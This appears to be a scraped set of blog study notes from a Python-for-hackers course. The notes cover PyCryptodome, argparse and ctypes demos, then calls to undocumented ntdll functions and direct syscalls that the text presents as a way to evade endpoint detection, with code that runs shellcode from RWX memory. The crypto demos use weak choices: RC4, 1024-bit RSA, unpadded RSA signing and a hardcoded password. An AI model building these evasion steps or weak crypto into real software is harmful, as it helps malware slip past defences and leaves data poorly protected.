print(key) # key length: 32 bytes = 256 bits print(len(key)) print(\u0026#34;-\u0026#34;*80) ## ----- Crypto -- Key Derivation Functions ----- ## from Crypto.Protocol.KDF import PBKDF2 # salt is needed for PBKDF2 # -- to help prevent against dictionary based attacks # -- the value does NOT necessary need to be kept secret # -- but need to be random for each derivation # random salt salt = get_random_bytes(32) # static salt -- to demonstrate static behaviour for the derived key # -- each time the same key will be derived with the same salt and password salt = b\u0026#39;\\x8f\\xa4\\xc2\\xc2s\\x95\\xf3F\\xee\\x97`\\x10n\\xcd\\x88\\xce\\xb5v\\xafi\\x0cJ\\x05\\xce\\x01\\xbbSTc\\xe02\\xe0\u0026#39; # the secret password used to generate the key password = \u0026#34;hunter21\u0026#34; # generate the key -- dkLen:cummulative length of the keys to produce key = PBKDF2(password, salt, dkLen=32) print(key) print(len(key)) print(\u0026#34;-\u0026#34;*80) ## ----- Symmetric Encryption -- Block ciphers ----- ## # import the AES cipher from Crypto.Cipher import AES # import some padding function from Crypto.Util.Padding import pad, unpad # the stream to encrypt to_encrypt = b\u0026#34;encrypt_me!\u0026#34; # create the cipher -- mode:CBC (cipher block chaining) cipher = AES.new(key, AES.MODE_CBC) # automatically generated initialization vector -- IV print(cipher.iv) # encrypting data with AES ciphered_data = cipher.encrypt(pad(to_encrypt, AES.block_size)) print(ciphered_data) \u0026#34;\u0026#34;\u0026#34; print(\u0026#34;-\u0026#34;*80) ## ----- Symmetric Decryption -- Block ciphers -- New IV issue ----- ## # NOTE: a cipher object is stateful # -- once we already encrypted a message, we CAN also perform decryption # -- with that same cipher object -- it goes both ways # BEWARE: using a different object for decryption will use a different # -- new random IV --\u0026gt; will NOT decrypt properly # setting up a new cipher cipher = AES.new(key, AES.MODE_CBC) # decrypt the data plaintext_data = cipher.decrypt(ciphered_data) # verify -- jumbled data -- not \u0026#34;encrypt_me!\u0026#34; text # -- REASON: we are using an other random IV print(plaintext_data) \u0026#34;\u0026#34;\u0026#34; \u0026#34;\u0026#34;\u0026#34; print(\u0026#34;-\u0026#34;*80) ## ----- Symmetric Decryption -- Block ciphers -- Same IV ----- ## # specify the SAME for the encryption used IV cipher = AES.new(key, AES.MODE_CBC, iv=cipher.iv) # unpad the decrypted data -- remove the padding bytes plaintext_data = unpad(cipher.decrypt(ciphered_data), AES.block_size) print(plaintext_data) \u0026#34;\u0026#34;\u0026#34; \u0026#34;\u0026#34;\u0026#34; print(\u0026#34;-\u0026#34;*80) ## ----- Symmetric Encryption/Decryption -- Stream ciphers ----- ## from Crypto.Cipher import ARC4 # create a new cipher -- use the same key cipher = ARC4.new(key) # encrypt the data -- not padded to a blocksize encrypted = cipher.encrypt(to_encrypt) print(encrypted) # decrypt the data cipher = ARC4.new(key) plaintext = cipher.decrypt(encrypted) print(plaintext) \u0026#34;\u0026#34;\u0026#34; print(\u0026#34;-\u0026#34;*80) ## ----- Asymmetric Ciphers -- RSA -- Public/Private Key Generation ----- ## # NOTE -- access to a public and private RSA key pair is needed # -- or generate them here # importing RSA from Crypto.PublicKey import RSA # generate an RSA key pair -- 1024 bit key = RSA.generate(1024) # password protect the key encrypted_key = key.exportKey(passphrase=password) # print the encrypted RSA private key print(encrypted_key) # the public RSA key pub = key.publickey() # print the RSA public key print(pub.exportKey()) \u0026#34;\u0026#34;\u0026#34; print(\u0026#34;-\u0026#34;*80) ## ----- Asymmetric Ciphers -- RSA -- Checking Pub/Priv Key Capabilities ----- ## # check the capability for encrypting data for the key print(key.can_encrypt()) # check the capability for signing data for the key print(key.can_sign()) # check whether the private key is present in the object or not # -- the private key is indeed present in the private key object print(key.has_private()) # check whether the public key is present in public key object or not # -- no, the private key is not present in the public key object print(pub.has_private()) \u0026#34;\u0026#34;\u0026#34; \u0026#34;\u0026#34;\u0026#34; print(\u0026#34;-\u0026#34;*80) ## ----- Asymmetric Ciphers -- RSA -- Enryption/Decryption ----- ## # NOTE -- we can only encrypt data that is slightly shorter than the # -- RSA modulus # HERE -- our encryption message is also short --\u0026gt; no issue # PADDING -- Optimal Asymmetric Encryption Padding -- OAEP # -- padding scheme often used together with RSA encryption from Crypto.Cipher import PKCS1_OAEP # ISSUE -- trying to encrypt a larger message # -- will raise an error: ValueError -- \u0026#34;Plaintext is too long\u0026#34; # to_encrypt = b\u0026#34;A\u0026#34; * 1000 # create the cipher cipher = PKCS1_OAEP.new(pub) # encrypt the data -- encrypt with the public key encrypted = cipher.encrypt(to_encrypt) print(encrypted) # decrypt the data -- decrypt with the private key cipher = PKCS1_OAEP.new(key) plaintext = cipher.decrypt(encrypted) print(plaintext) \u0026#34;\u0026#34;\u0026#34; print(\u0026#34;-\u0026#34;*80) ## ----- Create and Verify Digital Signatures ----- ## # NOTE -- digital signatures are based on a public key cryptography concept # -- whoever signs the message, needs to have the private key # -- whoever verifies it, needs to have the public key # HERE -- create and verify simple digital signatures by performing a modular # -- exponentiation, by encrypting and decrypting a message hash from Crypto.Hash import SHA512 # calculate the SHA512 hash -- in raw bytes format plain_hash = SHA512.new(to_encrypt).digest() # calculate the integer represented by this given array of bytes -- in dec format hashed = int.from_bytes(plain_hash, byteorder=\u0026#39;big\u0026#39;) print(hashed) # calculate the signature # -- raising the hash to the power of d modulo n # -- d and n -- were created when we set up our key signature = pow(hashed, key.d, key.n) print(\u0026#34;Signature: {}\u0026#34;.format(signature)) # verify the signature # -- raising the signature to the power of e modulo n # -- using the key material from our public key signature_hash = pow(signature, key.e, key.n) print(signature_hash) # verify they are the same --\u0026gt; valid signature print(hashed == signature_hash) print(\u0026#34;-\u0026#34;*80) ## --------------- END --------------- ## Argparse General\nSimilar to sys.argv for parsing and using command line arguments, but less messy and easier to maintain over time.\nPurpose\nTo parse command line arguments and perform sanity checks on the data passed to your script, allowing you to write flexible command line interfaces (CLIs).\nAdvantage\nPart of the standard library, so no installation needed.\nPositional Arguments\nThese are read from the command line in the order they appear after the script name.\nDemo Example\nFeel free to experiment by commenting and uncommenting sections as you see fit.\nimport argparse print(\u0026#34;-\u0026#34;*80) ## ----- Positional arguments ----- ## # create a parser parser = argparse.ArgumentParser(description=\u0026#34;Example Python CLI\u0026#34;) # adding an arguments -- help will be displayed when \u0026#34;-h\u0026#34; is used # -- information will be included as part of the help output parser.add_argument(\u0026#34;hacker_name\u0026#34;, help=\u0026#34;Enter the hacker name\u0026#34;, type=str) parser.add_argument(\u0026#34;hacker_power\u0026#34;, help=\u0026#34;Enter the hacker power\u0026#34;, type=int) print(\u0026#34;-\u0026#34;*80) ## ----- Optional arguments ----- ## # NOTE -- optional arguments are not required, unless specified # -- can be added to the command line in any order # -- by default given the value of None when it\u0026#39;s not being used # shorthand;long; # -- action: defines what happens when the command is provided on the cli # -- store_true: stores the value true into the argument if it is provided # -- on the command line parser.add_argument(\u0026#34;-bh\u0026#34;, \u0026#34;--blackhat\u0026#34;, default=False, action=\u0026#34;store_true\u0026#34;) # make it required # parser.add_argument(\u0026#34;-bh\u0026#34;, \u0026#34;--blackhat\u0026#34;, required=True, default=False, action=\u0026#34;store_true\u0026#34;) parser.add_argument(\u0026#34;-wh\u0026#34;, \u0026#34;--whitehat\u0026#34;, default=True, action=\u0026#34;store_true\u0026#34;) # parser.add_argument(\u0026#34;-wh\u0026#34;, \u0026#34;--whitehat\u0026#34;, default=True, action=\u0026#34;store_false\u0026#34;) # specify what a valid choice looks like # -- ht:hacker\u0026#39;s type parser.add_argument(\u0026#34;-ht\u0026#34;, \u0026#34;--hackertype\u0026#34;, choices=[\u0026#34;whitehat\u0026#34;,\u0026#34;blackhat\u0026#34;,\u0026#34;greyhat\u0026#34;]) ## using it `python argparse_demo.py neut 10 -ht whitehat` print(\u0026#34;-\u0026#34;*80) ## ----- Accessing the Arguments ----- ## # parsing the arguments args = parser.parse_args() # check the arguments print(args) print(args.hacker_name) if args.blackhat: hacker_type = \u0026#34;blackhat\u0026#34; elif args.whitehat: hacker_type = \u0026#34;whitehat\u0026#34; else: hacker_type = \u0026#34;unknown\u0026#34; print(\u0026#34;{} is a {} type of hacker\u0026#34;.format(args.hacker_name, hacker_type)) print(\u0026#34;-\u0026#34;*80) ## --------------- END --------------- ## ","permalink":"https://onebee.blog/blog/collection/foundations/python-201-p3/","summary":"Collection | Foundations | Python 201 | Part 3 - Extending Python","title":"Foundations | Python 201 - P3"},{"content":"Attribution\nThis Python 201 guide is based on our notes from the TCM Security - Python 201 for Hackers video course by Riley Kidd.\nWe highly recommend this course as a great starting point for learning Python; it was instrumental in our understanding of the subject. We would like to extend a big thank you to the TCM Security Team for providing such valuable resources!\nThe Windows API Introduction An API (Application Programming Interface) is a mechanism to interface with the Windows operating system. It is mostly described by the Microsoft Developer Network (MSDN), though some functions are not officially documented.\nThe Windows API is comprised of functions, structures, and constants, including Windows-defined data types. It is not static; it is a dynamic entity that can change and expand between releases. The official implementation lives in DLLs on your Windows machine, such as kernel32.dll and ntdll.dll.\nCtypes enables us to wrap Python around C. Speaking C lets us interface with the Windows API. Some hacker-focused API calls include OpenProcess, CreateRemoteThread, and WriteProcessMemory.\nC Data Types and Structures C Primer C is a lower-level programming language. It is compiled (and faster), while Python is interpreted (and slower). C requires you to specify data types, has fewer built-in standard functions, and is comparatively more difficult than Python.\nPointers and Structs When you create a variable, that variable has a memory address. The variable has a value, but it also has a memory address. Pointers are variables that store addresses, not values. Structures (structs) are collections of grouped variables under a single type.\nThe CTypes Module The CTypes module is included in the standard library. It is a foreign function library for Python that provides C-compatible data types and allows us to directly call functions in DLLs or shared libraries from Python.\nPassing by Reference Passing by reference occurs when a function expects a pointer to a specific data type as an input parameter. This happens if the function wants to write to that location, or if the data being passed is too large to be passed by its value.\nStructures Structures are like classes. They are derived from the Structure base class defined within the CTypes module. Each subclass must define a fields attribute, which is a list of tuples containing the field name and field type:\n_fields_ = [(\u0026#34;name\u0026#34;, c_char_p), (\u0026#34;age\u0026#34;, c_int)] Lists Lists in C are like arrays. Setting up the space beforehand is needed. Multiply the data type by the number of elements you want in the array:\nperson_array_t = PERSON * 3 Demo Example\nFeel free to experiment by commenting and uncommenting sections as you see fit.\nfrom ctypes import * print(\u0026#34;-\u0026#34; * 50) ## --------------- C DATA TYPES -- BOOLEAN --------------- ## # boolean b0 = c_bool(0) b1 = c_bool(1) print(b0) print(type(b0)) print(b0.value) print(b1) print(type(b1)) print(b1.value) print(\u0026#34;-\u0026#34; * 50) ## --------------- C DATA TYPES -- INTEGER --------------- ## # unsigned integer i0 = c_uint(-1) print(i0.value) print(\u0026#34;-\u0026#34; * 50) ## --------------- C DATA TYPES -- STRINGS --------------- # # strings -- null terminated char pointers c0 = c_char_p(b\u0026#34;test\u0026#34;) print(c0.value) # when changing the values of pointer type instances, we are actually changing # the memory location the variable is pointing to and NOT the actual contents # of that memory block print(c0) c0 = c_char_p(b\u0026#34;test2\u0026#34;) print(c0) print(c0.value) print(\u0026#34;-\u0026#34; * 50) ## --------------- C DATA TYPES -- STRING BUFFER --------------- # # reserve a buffer -- changing the value will not change the memory address # string buffer -- 5 byte buffer -- initialized with null bytes -- \\x00 p0 = create_string_buffer(5) print(p0) # check the raw memory contents print(p0.raw) print(p0.value) # changing the value at the address p0.value = b\u0026#34;a\u0026#34; print(p0.raw) print(p0.value) print(p0)\t# the same memory address print(\u0026#34;-\u0026#34; * 50) ## --------------- C DATA TYPES -- UNICODE BUFFER --------------- # # unicode buffer is expected --\u0026gt; use unicode buffer u0 = create_unicode_buffer(5) print(u0) print(u0.value) u0.value = \u0026#34;a\u0026#34; print(u0) print(u0.value) print(\u0026#34;-\u0026#34; * 50) ## --------------- C DATA TYPES -- POINTERS -- INTEGER --------------- # # creating pointers -- pointer function on a c data type i = c_int(42) pi = pointer(i) print(i) print(pi) print(pi.contents) print(\u0026#34;-\u0026#34; * 50) ## --------------- C DATA TYPES -- POINTERS -- BUFFER --------------- # # string buffer p0 = create_string_buffer(5) print(p0) p0.value = b\u0026#34;a\u0026#34; # check the raw memory contents print(p0.value) # print its address in memory print(hex(addressof(p0))) print(\u0026#34;-\u0026#34; * 50) ## --------------- C DATA TYPES -- REFERENCE --------------- ## # create a reference to p0 pt = byref(p0) print(pt) # cast returns a new instance of type char pointer which points to pt # which can be used to look at the actual data stored at that memory address print(cast(pt, c_char_p).value) # casting as an integer print(cast(pt, POINTER(c_int)).contents) print(ord(\u0026#39;a\u0026#39;)) print(\u0026#34;-\u0026#34; * 50) ## --------------- C DATA TYPES -- STRUCTURES --------------- ## class PERSON(Structure): _fields_ = [(\u0026#34;name\u0026#34;, c_char_p), (\u0026#34;age\u0026#34;, c_int)] bob = PERSON(b\u0026#34;bob\u0026#34;, 30) print(bob.name) print(bob.age) # reusing the structure alice = PERSON(b\u0026#34;alice\u0026#34;, 20) print(alice.name) print(alice.age) print(\u0026#34;-\u0026#34; * 50) ## --------------- C DATA TYPES -- LISTS/ARRAYS --------------- ## # setting up space for a list/array person_array_t = PERSON * 3 print(person_array_t) # create the person array person_array = person_array_t() print(person_array) # adding people to the array person_array[0] = PERSON(b\u0026#34;bob\u0026#34;, 30) person_array[1] = PERSON(b\u0026#34;alice\u0026#34;, 20) person_array[2] = PERSON(b\u0026#34;mallory\u0026#34;, 50) for person in person_array: print(person) print(person.name) print(person.age) Interfacing with the Windows API The Win32 API often has both ANSI and Unicode versions of a function. Unicode versions have a W appended to the name, while ANSI versions have an A appended. Documentation is always available on MSDN.\nDemo Example\nFeel free to experiment by commenting and uncommenting sections as you see fit.\nfrom ctypes import * from ctypes.wintypes import HWND, LPCSTR, UINT, INT, LPSTR, LPDWORD, DWORD, HANDLE, BOOL print(\u0026#34;-\u0026#34; * 80) ## --------------- MESSAGE BOX -- ANSI --------------- ## # url: https://learn.microsoft.com/en-us/windows/win32/api/winuser/nf-winuser-messageboxa # MessageBox is defined in User32.dll with User32.lib as library MessageBoxA = windll.user32.MessageBoxA # define the argument types MessageBoxA.argtypes = (HWND, LPCSTR, LPCSTR, UINT) # define the return type MessageBoxA.restype = INT # function pointer object print(MessageBoxA) # specify the values for the parameters lpText = LPCSTR(b\u0026#34;World\u0026#34;) lpCaption = LPCSTR(b\u0026#34;Hello\u0026#34;) # type -- MB_OK - one push button (default) -- 0x00000000L -- minus the \u0026#34;L\u0026#34; MB_OK = 0x00000000 # type -- MB_OKCANCEL - two push buttons -- 0x00000001L -- minus the \u0026#34;L\u0026#34; MB_OKCANCEL = 0x00000001 # hWnd -- handle -- owner is null --\u0026gt; the box has no owner window # MessageBoxA(None, lpText, lpCaption, MB_OK) # MessageBoxA(None, lpText, lpCaption, MB_OKCANCEL) print(\u0026#34;-\u0026#34; * 80) ## --------------- GETUSERNAME -- ANSI --------------- ## # url: https://learn.microsoft.com/en-us/windows/win32/api/winbase/nf-winbase-getusernamea GetUserNameA = windll.advapi32.GetUserNameA GetUserNameA.argtypes = (LPSTR, LPDWORD) GetUserNameA.restype = INT # buffer size -- dword = 32 bit unsigned int # if buffer is not big enough --\u0026gt; nothing is displayed # buffer_size = DWORD(8) buffer_size = DWORD(2)\t# error -- won\u0026#39;t fit # create buffer buffer = create_string_buffer(buffer_size.value) # grab the username -- # byref: lpdword is a pointer to a dword GetUserNameA(buffer, byref(buffer_size)) # display the returned username print(buffer.value) print(\u0026#34;-\u0026#34; * 80) ## --------------- GETLASTERROR --------------- ## # identifying the error codes # \u0026#39;msdn error codes\u0026#39; -- 122 --\u0026gt; The data area passed to a system call is too small error = GetLastError() if error: print(error) # the windows error message for this error code print(WinError(error)) print(\u0026#34;-\u0026#34; * 80) ## --------------- WINDOWS SPECIFIC STRUCTURES --------------- ## # url: https://learn.microsoft.com/en-us/windows/win32/api/windef/ns-windef-rect # expects a pointer to a rect structure -- LPRECT lpRect # define the structure RECT class RECT(Structure): _fields_ = [(\u0026#34;left\u0026#34;, c_long), (\u0026#34;top\u0026#34;, c_long), (\u0026#34;right\u0026#34;, c_long), (\u0026#34;bottom\u0026#34;, c_long)] rect = RECT() print(rect.left) print(rect.top) print(rect.right) print(rect.bottom) # changing values rect.left = 1 print(rect.left) print(\u0026#34;-\u0026#34; * 80) ## --------------- GETWINDOWRECT --------------- ## # url: https://learn.microsoft.com/en-us/windows/win32/api/winuser/nf-winuser-getwindowrect GetWindowRect = windll.user32.GetWindowRect # specify argtypes -- handle and pointer GetWindowRect.argtypes = (HANDLE, POINTER(RECT)) # return type GetWindowRect.restype = BOOL # get the handle -- use the GetForegroundWindow function # retrieves the handle to the foreground window hwnd = windll.user32.GetForegroundWindow() # call GetWindowRect GetWindowRect(hwnd, byref(rect)) # changing the cmd window will change the results print(rect.left) print(rect.top) print(rect.right) print(rect.bottom) Undocumented API Calls Not all Windows APIs are documented on MSDN. The documented APIs we used so far operate in user mode. When calling a user mode API, we eventually end up in kernel mode. Windows APIs are an abstraction layer over the native API. These native API calls are defined in NTDLL.\nThe native API can be used to evade endpoint detection and response tooling. A number of antivirus and endpoint detection and response solutions use API hooking to gain telemetry for their analysis when trying to identify whether an application\u0026rsquo;s behavior is potentially malicious.\nGetting around this involves using a lower-level API call (like ntdll) which may not be hooked by the security product. The API calls we used so far are userland calls to kernel32. Behind the scenes, they are translated into lower-level API calls in ntdll. APIs in ntdll are mostly undocumented and can change at any time with a new Windows release.\nInstall Process Hacker to verify memory allocation. It is a more robust version of Task Manager, available at https://processhacker.sourceforge.io/.\nDemo Example\nFeel free to experiment by commenting and uncommenting sections as you see fit.\nfrom ctypes import * from ctypes import wintypes kernel32 = windll.kernel32 # cosmetic -- for using ctypes and windows types interchangeably SIZE_T = c_size_t print(\u0026#34;-\u0026#34; * 80) ## --------------- VIRTUAL ALLOC --------------- ## # url: https://learn.microsoft.com/en-us/windows/win32/api/memoryapi/nf-memoryapi-virtualalloc # virtualalloc -- tl;dr -\u0026gt; to allocate memory # reserves, commits, or changes the state of a region of pages in the virtual # address space of the calling process. Memory allocated by this function is # automatically initialized to zero VirtualAlloc = kernel32.VirtualAlloc # parameters VirtualAlloc.argtypes = (wintypes.LPVOID, SIZE_T, wintypes.DWORD, wintypes.DWORD) # return type VirtualAlloc.restype = wintypes.LPVOID ## --------------- VIRTUAL ALLOC -- PARAMETERS --------------- ## # lpAddress -- the starting address of the region to allocate # if NULL -\u0026gt; the system determines where to allocate the region # dwSize -- the size of the region in bytes # flAllocationType -- the type of memory allocation #-- MEM_COMMIT -- allocate memory charges MEM_COMMIT = 0x00001000 #-- MEM_RESERVE -- reserve a range of the process\u0026#39;s virtual address space # without allocating any actual physical storage in memory or in # the paging file on disk MEM_RESERVE = 0x00002000 # flProtect -- the memory protection for the region of pages to be allocated # constants-url: https://learn.microsoft.com/en-us/windows/win32/Memory/memory-protection-constants #-- PAGE_EXECUTE_READWRITE -- enables execute, read-only, or read/write access to # the committed region of pages PAGE_EXECUTE_READWRITE = 0x40 ## --------------- USERLAND -- VIRTUAL ALLOC -- CALLING-IT --------------- ## # ptr -- base address of the allocated region of pages ptr = VirtualAlloc(None, 1024 * 4, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE) # check for errors error = GetLastError() if error: print(error) print(WinError(error)) # check where we allocated the memory print(\u0026#34;VirtualAlloc: \u0026#34;, hex(ptr)) # to check it -- use process hacker # -\u0026gt; filter for \u0026#39;python\u0026#39; -\u0026gt; open it -\u0026gt; memory -\u0026gt; look for the memory addr # Type: Private; Size: 4kB; Protection: RWX # IDEA # translate the same virtual alloc call, down a layer deeper, # and directly call the ntdll version of virtual alloc --\u0026gt; ntallocatevirtualmemory # documented on msdn print(\u0026#34;-\u0026#34; * 80) ## --------------- KERNEL -- NT ALLOCATE VIRTUALMEMORY --------------- ## # url: https://learn.microsoft.com/en-us/windows-hardware/drivers/ddi/ntifs/nf-ntifs-ntallocatevirtualmemory nt = windll.ntdll NTSTATUS = wintypes.DWORD # function definition NtAllocateVirtualMemory = nt.NtAllocateVirtualMemory NtAllocateVirtualMemory.argtypes = (wintypes.HANDLE, POINTER(wintypes.LPVOID), wintypes.ULONG, POINTER(wintypes.ULONG), wintypes.ULONG, wintypes.ULONG) NtAllocateVirtualMemory.restype = NTSTATUS # getting a handle for the current process -\u0026gt; GetCurrentProcess() handle = 0xffffffffffffffff base_address = wintypes.LPVOID(0x0) zero_bits = wintypes.ULONG(0) size = wintypes.ULONG(1024 * 12) # allocation type # protection -- the same as before # calling the function ptr2 = NtAllocateVirtualMemory(handle, byref(base_address), zero_bits, byref(size), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE) # check if succeeded or not if ptr2 != 0: print(\u0026#34;error!\u0026#34;) print(ptr2) print(\u0026#34;NtAllocateVirtualMemory: \u0026#34;, hex(base_address.value)) # specify input so that the python process does not die input() Direct Syscalls Assembly Primer Assembly is a very low-level programming language. It works directly with registers and interrupts. Each line usually translates to one processor instruction. Different processors use different assembly languages.\nSyscalls Every native API call has a specific number that represents it (syscall = system call). Syscall numbers differ between different versions of Windows. Numbers can be verified with a debugger, or you can use public lists. To make a syscall, you need to move the number to a register. In x64, the syscall instruction will then enter kernel mode.\nKey Points With direct syscalls in assembly, we can completely remove any Windows DLL imports. Instead of ntdll doing the work for us, we can set up the call directly ourselves. When making a syscall, we need to set up some arguments on the stack, move the correct syscall for the operation we want to perform into the eax register, then use the syscall CPU instruction. This will cause the syscall to be actually executed in kernel mode.\nIf you want to use the same functionality as the Win32 API and want to avoid directly interfacing with it entirely from user mode, leverage Python and the CTypes library to directly perform system calls.\nUse winver in the Run dialog (Win+R) to verify your current Windows version.\nThe syscall table by j00ru from Google\u0026rsquo;s Project Zero is available at https://j00ru.vexillium.org/syscalls/nt/64/.\nExecuting the System Call: Steps Write the ASM as shellcode in order to execute it from within Python. Put the shellcode somewhere in memory. Update the memory for that location to enable execution (otherwise you will get an error about trying to execute code from a non-executable memory location). Call it. Debugger Software: x64dbg Download x64dbg from https://x64dbg.com/. To install, extract it and run release \u0026gt; x64 \u0026gt; x96dbg.exe.\nSummary We are able to write assembly into memory, then change the memory protection of that location, define the location as a function, and call that function to directly trigger a syscall. Basically, you can use Python to make a Win32 API call without directly using the Win32 API at all.\nDemo Example\nFeel free to experiment by commenting and uncommenting sections as you see fit.\nfrom ctypes import * from ctypes import wintypes print(\u0026#34;-\u0026#34; * 50) ## --------------- DEFINING CONSTANTS --------------- ## # cosmetic -- for using ctypes and windows types interchangeably SIZE_T = c_size_t NTSTATUS = wintypes.DWORD MEM_COMMIT = 0x00001000 MEM_RESERVE = 0x00002000 PAGE_EXECUTE_READWRITE = 0x40 # NOTE # - executing the system call -- steps # - 1 -- write the asm as shellcode in order to execute it from within python # - 2 -- put the shellcode somewhere in memory # - 3 -- update the memory for that location to enable execution, otherwise error -- trying to execute code from a non-executable memory location # - 4 -- call it ## --------------- SYSCALL IN ASM --------------- ## # system call NtAllocateVirtualMemory -- syscall 0x0018 -- 24 in dec # -- this is how windows will always execute when we are using the win32 api \u0026#34;\u0026#34;\u0026#34; mov r10, rcx mov eax, 18h syscall ret \u0026#34;\u0026#34;\u0026#34; # check if a call succeeded or not def verify(x): if not x: raise WinError() ## --------------- EXAMPLE-FUNCTION -- STEP 1/2 -- SHELLCODE --------------- ## # NOTE: # start x64dbg # -- start a sacrificial process -- notepad -- [win+r] \u0026#34;notepad\u0026#34; # -- in x64dbg -- File\u0026gt;Attach\u0026gt;Select Notepad # -- in x64dbg -- right click\u0026gt;binary\u0026gt;fill with nops -- select 80 # -- now we have the space where we can convert our assembly to shellcode # NOTE: # typically eax will contain the return value of a function # -- but it depends on the calling convention # NOTE: # testing it -- move the value \u0026#34;5\u0026#34; into eax and then return # -- if return value is \u0026#34;5\u0026#34; -- we know it\u0026#39;s working # -- in x64dbg -- (6th entry) right click\u0026gt;Assemble\u0026gt; \u0026#34;mov eax, 5; ret\u0026#34; # -- will convert it into shellcode -- \u0026#34;B8 05000000\u0026#34; # -- add \u0026#34;ret\u0026#34; to the next line -- \u0026#34;C3\u0026#34; # corresponds to asm \u0026#34;mov eax, 5; ret\u0026#34; # buf = create_string_buffer(b\u0026#34;\\xb8\\x05\\x00\\x00\\x00\\xc3\u0026#34;) ## change return value from 5 to 3 buf = create_string_buffer(b\u0026#34;\\xb8\\x03\\x00\\x00\\x00\\xc3\u0026#34;) # get the address where it is stored in memory buf_addr = addressof(buf) print(hex(buf_addr)) # NOTE: # let\u0026#39;s take a look with process hacker -- check out the memory location # -- process hacker\u0026gt;search for python\u0026gt; check the memory location # -- ISSUE-1: the shellcode is not page aligned # -- ISSUE-2: the memory protection of the page is \u0026#34;RW\u0026#34; ## --- EXAMPLE-FUNCTION -- STEP 3 -- ADJUST MEMORY PAGE PERMISSIONS -- ## # use the VirtualProtect function # url: https://learn.microsoft.com/en-us/windows/win32/api/memoryapi/nf-memoryapi-virtualprotect # define the VirtualProtect function VirtualProtect = windll.kernel32.VirtualProtect # define the argument types VirtualProtect.argtypes = (wintypes.LPVOID, SIZE_T, wintypes.DWORD, wintypes.LPDWORD) # define the return type VirtualProtect.restype = wintypes.INT # function parameters # -- lpAddress -- starting page of the region of pages -- our buffer address # -- dwSize -- size of the region -- in bytes # -- flNewProtect -- new memory protection option # ---- https://learn.microsoft.com/en-us/windows/win32/Memory/memory-protection-constants # -- lpflOldProtect -- reference to store the old memory protection old_protection = wintypes.DWORD(0) ## NOTE: if memory permission is not changed -- OSError: access violating writing \u0026lt;addr\u0026gt; # calling the function -- change the memory protection protect = VirtualProtect(buf_addr, len(buf), PAGE_EXECUTE_READWRITE, byref(old_protection)) # check for errors verify(protect) # verify it with process hacker that the memory page has the correct permissions # -- this is where our shellcode is currently stored -- now we can execute it ## --------------- EXAMPLE-FUNCTION -- STEP 4 -- CALLING IT --------------- ## # use ctypes.cfunctype # url: https://docs.python.org/3/library/ctypes.html#ctypes.CFUNCTYPE # expecting number as the return type -- no input parameters # only expecting 5 as a response asm_type = CFUNCTYPE(c_int) # based on the address of our shellcode asm_function = asm_type(buf_addr) # calling the function r = asm_function() # checking the output print(hex(r)) print(\u0026#34;-\u0026#34; * 50) ## --------------- SYSCALL -- STEP 1/2 -- SHELLCODE --------------- ## # convert asm function to shellcode -- like before # \u0026#34;mov r10, rcx\u0026#34;\t--\u0026gt; 49:89CA -- (in demo:\u0026#34;4c:8bd1\u0026#34;) # \u0026#34;mov eax, 18h\u0026#34; --\u0026gt; B8 18000000 # \u0026#34;syscall\u0026#34;\t--\u0026gt; 0F05 # \u0026#34;ret\u0026#34;\t--\u0026gt; C3 # create the buffer to store the shell code # -- demo version #buf2 = create_string_buffer(b\u0026#34;\\x4c\\x8b\\xd1\\xb8\\x18\\x00\\x00\\x00\\x0f\\x05\\xc3\u0026#34;) buf2 = create_string_buffer(b\u0026#34;\\x49\\x89\\xca\\xb8\\x18\\x00\\x00\\x00\\x0f\\x05\\xc3\u0026#34;) # get the address of where it is stored in memory buf_addr2 = addressof(buf2) print(\u0026#34;Buffer address:\u0026#34;, hex(buf_addr2)) ## -- SYSCALL -- STEP 3 -- ADJUST MEMORY PAGE PERMISSIONS -- ## old_protection = wintypes.DWORD(0) protect = VirtualProtect(buf_addr2, len(buf2), PAGE_EXECUTE_READWRITE, byref(old_protection)) verify(protect) ## --------------- SYSCALL -- STEP 4 -- CALLING IT --------------- ## # setting up the function for the syscall as we did with the test asm # NOTE: the syscall we are emulating is ntallocatevirtualmemory # url: https://learn.microsoft.com/en-us/windows-hardware/drivers/ddi/ntifs/nf-ntifs-ntallocatevirtualmemory # return NTstatus and then the arguments syscall_type = CFUNCTYPE(NTSTATUS, wintypes.HANDLE, POINTER(wintypes.LPVOID), wintypes.ULONG, POINTER(wintypes.ULONG), wintypes.ULONG, wintypes.ULONG) # set up the function syscall_function = syscall_type(buf_addr2) # making the call -- just like in the undocumented api demo # getting a handle for the current process -\u0026gt; GetCurrentProcess() handle = 0xffffffffffffffff base_address = wintypes.LPVOID(0x0) zero_bits = wintypes.ULONG(0) # NOTE: change the size from 12kB to 24 for debugging # size = wintypes.ULONG(1024 * 12) size = wintypes.ULONG(1024 * 24) # calling the function # -- instead of NtAllocateVirtualMemory(...) use syscall_function(...) # -- with the same parameters ptr2 = syscall_function(handle, byref(base_address), zero_bits, byref(size), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE) # verify if it works if ptr2 != 0: print(\u0026#34;error!\u0026#34;) print(ptr2) # no errors print(\u0026#34;Syscall allocation: \u0026#34;, hex(base_address.value)) # halt execution input() print(\u0026#34;-\u0026#34; * 50) ## --------------- END --------------- ## Execution from a DLL Windows DLLs: General Overview Dynamic Link Libraries (DLLs) are similar to executable files. DLL files contain code and data that can be used by multiple programs. They cannot be directly executed, but they can be loaded and used. When loaded, a DLL can specify an entry point, which defines what happens when the DLL is loaded. Alternatively, it can just export functions, which can then be called by the caller. DLL files can be loaded on program startup or during execution. They are not linked or loaded until runtime.\nCustom DLL Here is an example DLL (dll.c) that needs to be compiled with Visual Studio:\n#include \u0026#34;pch.h\u0026#34; #include \u0026lt;stdio.h\u0026gt; extern \u0026#34;C\u0026#34; { __declspec(dllexport) void hello() { puts(\u0026#34;hello from the dll\u0026#34;); } __declspec(dllexport) int length(char* input) { return strlen(input); } __declspec(dllexport) int add(int a, int b) { return a + b; } __declspec(dllexport) void add_p(int* a, int* b, int* result) { *result = *a + *b; } }; You can view the exported functions with Dependency Walker, available at https://dependencywalker.com/. To install, download the x64 version, run depends.exe, extract all, and run depends.exe again. To use it, open the compiled DLL.\nDemo Example\nFeel free to experiment by commenting and uncommenting sections as you see fit.\nfrom ctypes import * print(\u0026#34;-\u0026#34; * 80) ## --------------- Windows Standard C Library -- MSVCRT --------------- ## # interfacing with the windows standard c library # -- printing out the time -- pass in None as a null pointer print(windll.msvcrt.time(None)) # standard c functions -- memset and puts 